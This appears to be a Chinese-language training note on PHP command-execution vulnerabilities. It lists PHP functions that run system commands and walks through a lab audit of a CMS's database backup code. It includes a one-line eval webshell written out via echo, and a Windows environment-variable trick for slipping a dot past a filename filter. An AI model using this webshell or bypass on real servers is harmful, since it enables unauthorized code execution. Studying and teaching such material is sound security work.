[TOC]
命令执行
命令执行漏洞原理
用户输入的数据被当做系统命令进行执行!
代码执行:用户输入的数据被当作后端代码执行;
命令执行:用户输入的数据被当作系统命令执行。
代码执行与命令执行之间可以通过一定方式互相生成!
一句话木马的本质就是一个命令执行漏洞。用户输入的数据被当作系统命令进行执行。
<?php system('whoami')?>
造成命令执行函数解析
1、system()
system('whoami')
php会操纵计算机执行whoami命令、且输出并返回结果。
注意:目标及其是Linux执行的就是Bash命令,如果是windows执行的就是cmd命令。
写WebShell,可以通过命令执行 echo '木马' 重定向生成一个 php文件。
echo "<?php @eval($_REQUEST[9]);?>" > 1.php
在Windwos中,生成的文件中也会带有引号,但是并不会影响php代码的执行!
PHP是一个混合体,它可以把HTML+PHP
标识:<?php ?>
2、echo exec('whoami')
php 会去操纵服务器执行whoami名,且获取最后一行数据!
3、echo shell_exec('whoami')
php 会去操纵服务器执行whoami命令,且获取所有数据!
4、passthru('whoami')
只调用命令,把命令的运行结果原样地直接输出到标准输出设备!
5、特殊符号,反引号`
echo `whoami`
反引号其实就是调用的shell_exec()
函数!
6、popen(要执行的命令,参数)
// r是只读,w是写入
$a = popen('whoami','r');
echo fread($a,1024)
这个执行的返回值比较特殊,返回的是一个为了将指针,需要用fread去读取返回值。
返回值并不重要,核心是确定代码已经执行!
靶场实战
本地自建CMS测试
1.安装
2.php代码Zend解密
由于大量代码使用Zend加密,导致无法阅读无法审计,首先解密!
http://dezend.qiling.org/free/ 在线解密
3.代码审计
第一个restore.php,看这样子应该是个备份还原的,右边文件名恢复到数据库!
shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);
第二个Database.php则是一个备份数据库的命令!
shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" \"{$db["dbname"]}\" $tablesstr > $dumpFile");
4.从第二个备份入手
filename传参有替换 /
,\
,.
,'
由于点被过滤掉了,怎么样才能不被过滤,而又能输出.呢,可以使用这样的方式!!!
%a:~0,6% //取出环境变量的a值,从第0个位置开始,取6个值(切割环境变量) 图片是截取了过滤的点
5.修改数据包
6.木马文件生成
7.连接测试
线上靶场
1.靶场地址
http://59.63.200.79:9808/?r=dashboard/default/index